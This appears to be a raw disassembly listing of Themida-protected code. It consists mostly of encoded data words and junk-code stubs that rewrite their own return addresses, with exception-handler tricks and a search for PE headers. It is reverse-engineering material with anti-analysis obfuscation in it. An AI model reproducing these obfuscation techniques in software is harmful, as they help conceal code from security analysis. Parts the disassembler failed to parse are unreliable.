74895EC3h, 44810424h, 180424h, 56460000h dd 1A263EC3h, 0BD8B191Eh, 6100A99h, 8BF98B66h, 1009F595h dd 8D01F906h, 6101189h, 23198D8Bh, 0FA8B0610h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 9D895818h, 6100C81h dd 6A5CE380h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 5E19C356h, 0DA8B8D75h, 1E29BD83h dd 0F000610h, 1F84h, 35BD8B00h, 29061013h, 1031CD8Dh, 0B806h dd 8D890000h, 610167Dh, 4E858D8Dh, 0E1FF0610h, 22C1BD83h dd 0F000610h, 47384h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 5E50E546h, 838B766Eh dd 1022C1BDh, 840F0106h, 45Fh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 50C35242h, 0B19D89F4h, 33061000h dd 10124D9Dh, 0C1BD8306h, 3061022h, 3F3860Fh, 860F0000h dd 0 ; --------------------------------------------------------------------------- pusha push 0 push esi call sub_59E194 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59E194 proc near ; CODE XREF: Themida_:0059E18Cp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_59E194 endp ; --------------------------------------------------------------------------- xchg eax, esp enter 0FFFFF215h, 0C8h mov bl, 57h cld mov di, 0DF87h mov [ebp+6101BADh], eax mov cx, ds push 0 push edi call sub_59E1C4 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59E1C4 proc near ; CODE XREF: Themida_:0059E1BCp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_59E1C4 endp ; --------------------------------------------------------------------------- dd 25893E59h, 80AB729Fh, 0CE904E1h, 25000000h, 8C3DA57Dh dd 0C5603CFFh, 0A6AACBEh, 59840FC9h, 6A000001h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0EA69C356h, 85858B67h, 9061021h, 102F7D9Dh, 0FD853306h dd 6A061011h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 89D5C355h, 1021B1B5h, 8B529006h dd 0BF505FFBh, 26CB68EEh, 52006A90h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 6E9609Dh, 1C000000h dd 60EE825Eh, 28F0F47h, 8A000000h, 6A61FEh, 0AE8h, 2882C00h dd 4192A19Ah, 666EA97Dh, 65B8D381h, 9DB7685Bh, 12E9768Fh dd 9D000000h, 9ED98809h, 0E2D7FB2Ch, 0A3E26888h, 0D744890Fh dd 243481E5h, 76909E48h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 72C35545h, 0DAB70F41h, 0FF70EF80h, 1005D595h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 0F4982FF8h, 4C07830h, 55F78166h, 6D8589AFh dd 0E90613C2h, 0Dh, 0DF23E896h, 0E11A6BD9h, 2980847Bh dd 1CBE97Ah, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 0D67E74C3h, 0FFBF0FFEh, 0C265858Bh dd 0BD010613h, 6101B79h, 1800C7h, 8B660000h, 69B58BF9h dd 6A0613C2h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 0BB68C351h, 14E9h, 5F272A00h dd 1B10192Fh, 5111C320h, 0AE201038h, 0FC30B83Fh, 25858B75h dd 8906100Eh, 102F6185h, 6A068906h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 6BDBC353h dd 3175AA4Ch, 858BFA8Bh, 6102185h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 4EC35747h, 56751BA3h, 23B1BD33h dd 895B0610h, 6A0446h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 966FB6C3h, 0B9666060h, 0CE8E675h dd 95000000h, 30FCFD48h, 39D4F350h, 5E26690Ch, 0F506161h dd 880h, 0F525000h, 5A616031h, 6A9658h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 393D80C3h dd 0C05DA2FBh, 0B5FF6FB3h, 613C265h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 41C35040h, 64964CF7h, 7E155C6Eh dd 9018589h, 72680610h, 6618821Eh, 3481DE8Bh, 9D1D8D24h dd 53006A18h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 298483CCh, 101F698Dh, 858DF506h, 613C26Dh dd 312D8D89h, 8B900610h, 0BB6650DAh, 8B90BE32h, 1000C1BDh dd 0D595FF06h, 81061005h, 0CE0CBF7h, 5E96164h, 92000000h dd 50A0B04Ah, 22C185C7h, 30610h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0EB2BFFC3h dd 44FBEB02h, 8B6C18E9h, 6DBD83DFh, 613C2h, 33840Fh, 0E9FC0000h dd 48h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh dd 4BC35747h, 8831CDE0h, 0F2F1A91h, 28Bh, 0B754B300h, 0C305084h dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 10EB8166h dd 0C1BD8317h, 3061022h, 445850Fh, 0BD0B0000h, 6101055h dd 0C26DBD83h, 0F000613h, 43284h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 8CE879E1h dd 0AC3D8538h, 0F19D0373h, 0FF061012h, 13C26DB5h, 219D8B06h dd 0FF061001h, 102FA595h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 8BF55DE4h dd 13C261B5h, 0C58D2906h, 0C7061032h, 1000106h, 13E900h dd 0EB180000h, 0B9696939h, 0CE9B2838h, 107EA68Ch, 5538BCB6h dd 965096CBh, 9D89FE8Bh, 6102AB5h, 0C26DB5FFh, 820F0613h dd 6, 1B3DB501h, 95FF0610h, 6101225h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 5FC35040h, 9D016FB0h, 6101D05h dd 0A09BD8Bh, 0B58B0610h, 613C261h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 5EC35545h, 81666EFEh, 8BDCC6D3h dd 1021D185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 300FD409h, 0E943B70Dh, 0BD8B155Dh dd 6101F59h, 0C48689h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 99957EC3h, 0F5958B48h dd 0E9061009h, 0Ch, 8D1B5B0Ah, 0F730B9B1h, 0EDC8FC75h dd 8363E380h, 9D0904C2h, 6103169h, 6512C381h, 50896F36h dd 53006A20h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 0BBE64A60h, 9D29F6A8h, 61015C9h, 0D7C2858Dh dd 0E7800613h, 8DBD8BC1h, 89061034h, 0B886h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 65620BE4h, 216B7E03h, 0CB81006Ah, 5D18B835h, 0C26DB5FFh dd 8D890613h, 6102F71h, 49595FFh, 6A0610h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 967CF1C3h dd 1640BB66h, 238A0F50h, 0E8000000h, 0Bh, 0AB2CEE96h, 0E19131D4h dd 0E9DB17C0h, 0Dh, 92E96E9Bh, 0EBB860D9h, 0FA77D699h dd 6A965B6Fh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0FBD6C355h, 0D5B40441h, 0C26DB5FFh dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 7824B0C3h, 0CC971444h, 8A0F4640h, 6, 2F358D89h dd 95FF0610h, 610162Dh, 209D8589h, 0BD830610h, 6101351h dd 60840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 0D58CC350h, 6552BA98h dd 0B89AC33h, 1C459D8Bh, 0E9960610h, 7, 60A2E4D0h, 507AAA2Bh dd 6A96D98Bh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 7950C350h, 0CDBD8929h, 0FF061020h dd 13C26DB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 72DC8BEFh, 0E82A963Ah, 7E9E147h dd 8E000000h, 8ADDA5DDh, 85016848h, 6100AF9h, 0C1995FFh dd 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 0D21D2FC3h, 0FF38634Ch, 13C26DB5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 95FF8E32h, 6101621h, 125B501h, 0BD830610h, 6100F89h dd 5D840F02h, 57000000h, 5FDF8B66h, 10C5858Bh, 6A0610h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0DA1052C3h, 8BE9D1AEh, 1021059Dh, 0C606h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0BFC35646h dd 0F9B5030Ah, 9589BA95h, 6100B61h, 2A2585C7h, 610h, 9D8B0000h dd 6101AA9h, 0EE9h, 58DC00h, 32A9896Ah, 0CCEAAC3Eh, 0E9CEA425h dd 0FFFFF35Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 6EC35747h, 37963193h, 0E19D8BD5h, 8B06100Dh, 53006AC1h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 8B9500E9h, 0B9858DD9h, 0F061013h, 18Dh, 0BD8BF500h dd 6100231h, 5880F90h, 0BB000000h, 6594F090h, 0AE950h dd 0D8FC0000h, 0DC2A4253h, 3119FEE3h, 11E990h, 40D40000h dd 40B5D8FEh, 0D3BBBFC9h, 3D8287E4h, 6A6D3AB3h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 6D37BE1Eh, 0C52D0A89h, 12E8h db 0 ; =============== S U B R O U T I N E ======================================= sub_59EADD proc near ; DATA XREF: Themida_:0054D1E0o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059EB5D SIZE 0000000B BYTES mov edx, 0BD687961h mov ds:61808C50h, eax xlat cmp [esi], ah sub al, 0A3h jno short loc_59EB5D jmp loc_59EAFE ; --------------------------------------------------------------------------- dd 6C8F293Fh, 0C53EFD42h db 0CCh ; --------------------------------------------------------------------------- push cs loc_59EAFE: ; CODE XREF: sub_59EADD+12j pop ebx push 0 mov [ebp+6101B05h], eax lea eax, [ebp+6153826h] mov [ebp+6101D75h], ebx add eax, 5 push 0 push esi call sub_59EB21 and [esi-3Dh], bl sub_59EADD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_59EB21 proc near ; CODE XREF: sub_59EADD+3Cp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_59EB21 endp ; --------------------------------------------------------------------------- db 0D4h, 81h, 0DBh ; --------------------------------------------------------------------------- movsb adc [bx], cx mov bh, 0D9h nop jge loc_59EB45 mov bx, cx loc_59EB45: ; CODE XREF: Themida_:0059EB3Cj push eax pusha mov si, 0E011h popa nop push 0 push ebx call sub_59EB58 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59EB58 proc near ; CODE XREF: Themida_:0059EB50p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx sub_59EB58 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_59EADD loc_59EB5D: ; CODE XREF: sub_59EADD+10j add dword ptr [esp+4], 19h inc ebx push ebx retn ; END OF FUNCTION CHUNK FOR sub_59EADD ; --------------------------------------------------------------------------- dd 78AAB1ACh, 0E3B7EF9Ah, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 0E17498C3h, 5F9B774Dh dd 6A176773h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 97EB1B8h, 0F18D892Bh, 0FF061020h dd 101D1995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 8D6016DEh, 13AFD88Dh, 3DB58906h dd 0FF061014h, 0CE9D1h, 83D00000h, 94B31768h, 7C96F406h dd 0BD8382B0h, 6102209h, 82850F01h, 8B000000h, 101BCD9Dh dd 6A026A06h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 96BBC351h, 6501A5C9h, 5365AD20h dd 13E9h, 13415000h, 260CA01Ch, 0E0713D08h, 8E568FB3h dd 435CFC49h, 0BD23565Bh, 6102FEDh, 489505Bh, 0DBB70F24h dd 49595FFh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 6BD180C3h, 6EE34C52h, 8AD88B66h dd 0C84E9D8h, 0E80000h, 5D000000h, 3830ED81h, 6A0615h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 0F56DEC3h, 281h, 5FF88B00h, 99B6858Dh, 50900613h, 2B906160h dd 100D35BDh, 35FF6406h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_59ECEB and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59ECEB proc near ; CODE XREF: Themida_:0059ECE3p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_59ECEB endp ; --------------------------------------------------------------------------- db 92h dd 0D49D6662h, 0F7FDF80h, 8964DFB7h, 25h, 0F1BD0B00h, 0FF06102Ah dd 10141985h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 197E4175h, 0E904EDB1h, 0Ah, 3D6A6CD7h dd 0F765DE6Bh, 0FF6A0910h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 67C35343h, 0B715C4DDh, 0A5B5FF20h, 0E9061004h dd 0Bh, 699ECC35h, 0B1DF8B10h, 0FF2BFAFBh, 10061595h, 120E906h dd 9D8B0000h, 6100B21h, 0BB6600B0h, 70E6C6E2h, 71E4DF8Bh dd 68B0Fh, 0BD890000h, 61011C5h, 7AF0BB66h, 830F613Ch dd 0F6h, 0B81BD33h, 0BE90610h, 0B7000000h, 711681A2h, 0BBB6990Bh dd 0B60F1958h, 0BAFD8AC8h, 6, 0C18B6BB3h, 0C1F98B66h, 7E804E8h dd 0A4000000h, 0E7872F2Dh, 0AE98B68h, 0E1000000h, 0B099EECh dd 94940911h, 0F7665BF1h, 0DF8B66E2h, 0D98BC82Bh, 12E8D18Bh dd 0D1000000h, 0FEDFD28Eh, 100B82FDh, 72FFA27Dh, 2CC5DECBh dd 5BD03C8h, 5F061002h, 81E9h, 0B8E0F00h, 0F000000h, 581h dd 0AE1ABF00h, 858B39CDh, 4947554Ch, 0B04BD781h, 0C08363A3h dd 72D78107h, 833F3621h, 6FBB00C0h, 3B0FB831h, 0B830FD0h dd 1000000h, 1004D995h, 40E906h, 8D8B0000h, 0FFFFFFFFh dd 2161BD8Bh, 0E1830610h, 2B840F01h, 0BF000000h, 71D72C5Eh dd 0FFFFA583h, 0FFEFFFFh, 88Eh, 8D895700h, 6102829h, 4C95895Fh dd 89494755h, 101F4D85h, 0E906h, 0B58D0000h, 614B33Bh dd 15E5BD01h, 6A0610h, 9D9D8951h, 5B061027h, 31C995FFh dd 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 6E99D3C3h, 0CEC7917Fh, 0BB66C000h, 1DB92D35h dd 80000011h, 0E18358E7h, 358589FCh, 0FC061009h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 78C35646h, 0C02B2A02h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 39C35343h dd 0F648F11h, 10E8DBBFh, 24000000h, 220A5CF5h, 110F9B47h dd 0CEA78C85h, 8BFD0EA0h, 10141DBDh, 0BA5F06h, 8B000000h dd 0C233ADF9h, 0D003E8D1h, 7504E983h, 0FD98AF4h, 68Dh dd 0D5950900h, 0D06102Fh, 88h, 6810Fh, 8D890000h, 6102F41h dd 9F5958Bh, 9D8B0610h, 610171Dh, 23198D8Bh, 6A0610h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 9D89CAC3h, 6101F3Dh, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 81605818h, 0C97532DEh, 7D958B18h, 6106101Eh dd 810Fh, 2ABF0000h, 833C1AB2h, 101E29BDh, 840F0006h, 79h dd 0CE9h, 5B0C2300h, 0E23CE1B5h, 0D53CC22Fh, 2EAABF08h dd 0B85FC0h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 7B08C350h, 5F3270DDh dd 1258BF40h, 816621A3h, 8DB49FD7h, 104E858Dh, 9DF8106h dd 0FF1C8584h, 51006AE1h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 8BF71D32h, 101E2DBDh dd 0C1BD8306h, 61022h, 43A840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 4CCB18C3h dd 0FF8FB20Ah, 22C1BD83h, 0F010610h, 42684h, 0BD83FC00h dd 61022C1h, 0E2860F03h, 0E9000003h, 0Eh, 0DEB772D3h, 1B920399h dd 3C5073BAh, 6A608DC3h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 4655C356h, 0F5FBB70Fh dd 6AD98C66h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 0D526C351h, 0E180D88Bh, 57006A04h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0AD69056Fh, 0E27443D4h, 0FC90A77h, 0C684h, 8BFA8B00h dd 10218585h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 4B532F79h, 0F2D9EE8h, 8533FFB7h dd 61011FDh, 11E9h, 7FD12C00h, 5FD93DAh, 0FE51BFFFh, 0C0E6E17Fh dd 0F50A4A2h, 0C81h, 6860F00h, 50000000h, 5A310F52h, 24048958h dd 2015BD89h, 81660610h, 6ACD31EFh, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 5CCA18A7h dd 689EDD51h, 9117BF3Dh, 0C2240481h, 896F0744h, 101D5985h dd 0D595FF06h, 89061005h, 101BB98Dh, 0F98B6606h, 0C26D8589h dd 9D230613h, 6102845h, 204E9h, 0ADBD8B00h, 8B061001h dd 13C26585h, 0B5BD8906h, 0C7061000h, 1800h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 6612E400h, 8B9084BFh, 13C269B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 25858B87h dd 6606100Eh, 5F18F381h, 6A0689h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0E8FDC5C3h, 0Ah, 6554B1EEh dd 22E261C5h, 890FC8EFh, 4, 0F51BB66h, 0E8D98A5Fh, 0Ch dd 0B3ABA9E0h, 3C326768h, 11FB06A5h, 5800Fh, 81660000h dd 5F6B3CE3h, 2185858Bh, 6A0610h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 6BC9C4C3h, 840491EAh dd 0E1BD33FBh, 2906101Ch, 1012C1BDh, 4468906h, 333D9D89h dd 0B5010610h, 61012C9h, 0BE86050h, 14000000h, 0C6054A49h dd 30697E11h, 0DE8BA7C7h, 0EE958h, 4BE90000h, 93BD981Eh dd 0F667DC8Eh, 43CD8A30h, 24348961h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 2AC35545h, 45B589B9h, 0FF06102Dh dd 13C265B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 33A81DEh, 0F1EA4BE5h, 0B5895661h dd 610024Dh, 61538468h, 0D88B6638h, 7B243481h, 0BB387E50h dd 2DEDF0B2h, 0C26D858Dh, 6A0613h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 38F79DC3h, 85CF80C6h dd 66525050h, 310FDE8Bh, 52505250h, 585A310Fh, 8CBF310Fh dd 5A3D8516h, 89585A58h, 0FE82404h, 36000000h, 62ADB7D7h dd 8BAEB4A7h, 7D79BC2Dh, 0BD8B5ED1h, 6100A8Dh, 0D595FF5Fh dd 89061005h, 1013E1B5h, 6A6106h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 5DF68AC3h, 0F3FC06CCh dd 0F6CE9C0h, 68Fh, 0F5BD8B00h, 0C7061006h, 1022C185h dd 306h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 854B6E2Dh, 0C26DBD83h, 0F000613h dd 3084h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 0BD9D295Bh, 2306101Ah, 1030A59Dh dd 1EE906h, 0B70F0000h, 0C3050FBh, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0BD8BDE8Bh dd 6101FD1h, 22C1BD83h, 0F030610h, 3FB85h, 6860F00h, 8B000000h dd 100871BDh, 0CB816606h, 0BD83B55Dh, 613C26Dh, 0DD840F00h dd 31000003h, 1019D585h, 6DB5FF06h, 6A0613C2h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 0BD1AC350h, 6B3C38EDh, 0F8D9D01h, 95FF0610h, 6102FA5h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0C7C35646h dd 8B97B74Ah, 13C261B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 106C7C9h, 6A000100h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 23CDC352h, 58FEC032h, 0BDF1882h, 101C1D9Dh, 0FA8B6606h dd 43FBBB50h, 34896C15h, 0FFFA8A24h, 13C26DB5h, 0AE906h dd 0B5A60000h, 51FFD74Eh, 635000BEh, 122595FFh, 0F7800610h dd 61B58B29h, 6A0613C2h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 1C7C353h, 10BB6637h dd 0EF8166F4h, 858B5D18h, 61021D1h, 1CADBD8Bh, 86890610h dd 0C4h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 0CFC35141h, 9D8BD35Eh, 610057Dh, 0AADBD8Bh, 958B0610h dd 61009F5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 0EC35040h, 43EB4A0Fh, 0D98B6660h, 2A798531h, 83610610h dd 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 0DAAD3FC3h, 20508919h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 7DC35242h, 7FD4B99Dh, 0BE9E7h dd 0D9A0000h, 89BE9809h, 0D7DFC1A5h, 0C2858D16h, 6A0613D7h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 1DBC350h, 86EF00C3h, 8689E993h, 0B8h, 3D8D31F5h dd 6A06102Ah, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 5BC517AAh, 0FFFD1ACh, 38Ch, 0B5C38000h dd 0C26DB5FFh, 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 6681B5C3h, 1F54EB81h, 49595FFh dd 52960610h, 9E9h, 0F4541A00h, 0C4CFE29Ch, 505F177Fh dd 118D0Fh, 52500000h, 820Fh, 310F0000h, 0F4F9BFBBh, 96585A33h dd 0C26DB5FFh, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 3905BFC3h, 0A61C1973h, 0FFB0024Eh dd 10162D95h, 11E906h, 39130000h, 3E80C381h, 0AE082152h dd 0D0F9B697h, 83F330F5h, 101351BDh, 840F0006h, 2Fh, 0CE8h dd 8589DE00h, 472AEFF4h, 0EDAF0D3h, 5830FD7h, 66000000h dd 93D8C781h, 6E9505Bh, 0C8000000h, 19973798h, 243489E8h dd 0FFDF8B66h, 13C26DB5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 3125C354h dd 9A0DDF81h, 0EF8000A1h, 1995FFAEh, 906100Ch, 101D058Dh dd 6DB5FF06h, 0FC0613C2h, 162195FFh, 85090610h, 61011BDh dd 0F89BD83h, 0F020610h, 4F84h, 0B1BD2300h, 8B061014h dd 1010C585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 8E842h, 90D80000h, 6CB04673h, 8960206Dh dd 102E0195h, 0C99D2906h, 61061027h, 0C6D88B5Fh, 9D8B0000h dd 6101571h, 2A2585C7h, 610h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0C681F2C3h dd 0B509F9B3h, 6100DF1h, 0FFF43DE9h, 9BD8BFFh, 8B061016h dd 0F38166C1h, 0BAB22Ah, 81F00E10h, 0EAh, 14C283F0h, 0C899589h dd 0EA830610h, 55858D14h, 50061545h, 35FF64h, 64000000h dd 2589h, 0E80000h, 58000000h, 25C22Bh, 66FFFFF0h, 5A4D3881h dd 12850Fh, 0B70F0000h, 0D0033C50h, 45503A81h, 840F0000h dd 0Ah, 10002Dh, 0FFD9E900h, 0C88BFFFFh, 1FD58589h, 40030610h dd 50B70F3Ch, 8D958906h, 8B06101Ah, 95895050h, 6101B39h dd 0F805h, 0C508B00h, 9589D103h, 610091Dh, 89085003h, 1023F595h dd 58F6406h, 0 ; --------------------------------------------------------------------------- add esp, 4 jmp loc_59F9D3 ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] sub dword ptr [ecx+0B0h], 1000h pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- loc_59F9D3: ; CODE XREF: Themida_:0059F9BBj cmp dword ptr [ebp+6103105h], 0 jz loc_59FA04 mov byte ptr [ebp+61023E5h], 47h push 0D49AA7D2h push dword ptr [ebp+6101D45h] lea eax, [ebp+613858Ah] call eax push 0 call eax mov [ebp+6100C4Dh], eax loc_59FA04: ; CODE XREF: Themida_:0059F9DAj mov edx, ebx call loc_59FA1D sbb dl, [ebx+4049DA3Dh] sbb eax, 57545B4Dh out 78h, eax mov cl, 3Eh xchg eax, ecx jo short near ptr loc_59FA42+1 loc_59FA1D: ; CODE XREF: Themida_:0059FA06p movsx edx, di pop edi sub edx, 439A67D7h add edi, 5DE2h mov dl, 95h xor eax, eax loc_59FA31: ; CODE XREF: Themida_:loc_59FACFj mov ecx, [edi+eax] movsx esi, di add ecx, 2E560BF8h call sub_59FA56 loc_59FA42: ; CODE XREF: Themida_:0059FA1Bj and [edi], dh das sbb dword ptr [ecx], 0D4437422h or [ecx-60D81557h], edx add al, 0FAh ; CODE XREF: sub_59FA56+6Dj ; --------------------------------------------------------------------------- db 0FEh db 0D2h, 0AFh ; =============== S U B R O U T I N E ======================================= sub_59FA56 proc near ; CODE XREF: Themida_:0059FA3Dp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0059FAC2 SIZE 00000005 BYTES adc si, 97B2h pop esi xor ecx, 5CBC6140h call near ptr loc_59FA75+1 jo short loc_59FAC2 inc esp daa mov [esp+ecx*8-4+arg_0], ebp mov dword ptr [ebx-7], 0C18899Bh loc_59FA75: ; CODE XREF: sub_59FA56+Cp mov esi, 5B84EF80h sub_59FA56 endp ; sp-analysis failed sub ecx, 39FB4BB2h mov edx, edi push ecx mov si, 0E2E5h pop dword ptr [edi+eax] xor bx, 0E981h sbb dl, 6Fh sub eax, 4 adc si, 809h cmp eax, 0FFFFA2F4h jnz loc_59FAB6 adc dh, 6Ah jmp loc_59FAE5 ; --------------------------------------------------------------------------- dw 0D414h dd 247B41E8h db 65h, 95h ; --------------------------------------------------------------------------- loc_59FAB6: ; CODE XREF: Themida_:0059FAA0j jmp loc_59FACF ; --------------------------------------------------------------------------- db 89h dd 16ED5B64h ; --------------------------------------------------------------------------- mov ch, 3Eh ; START OF FUNCTION CHUNK FOR sub_59FA56 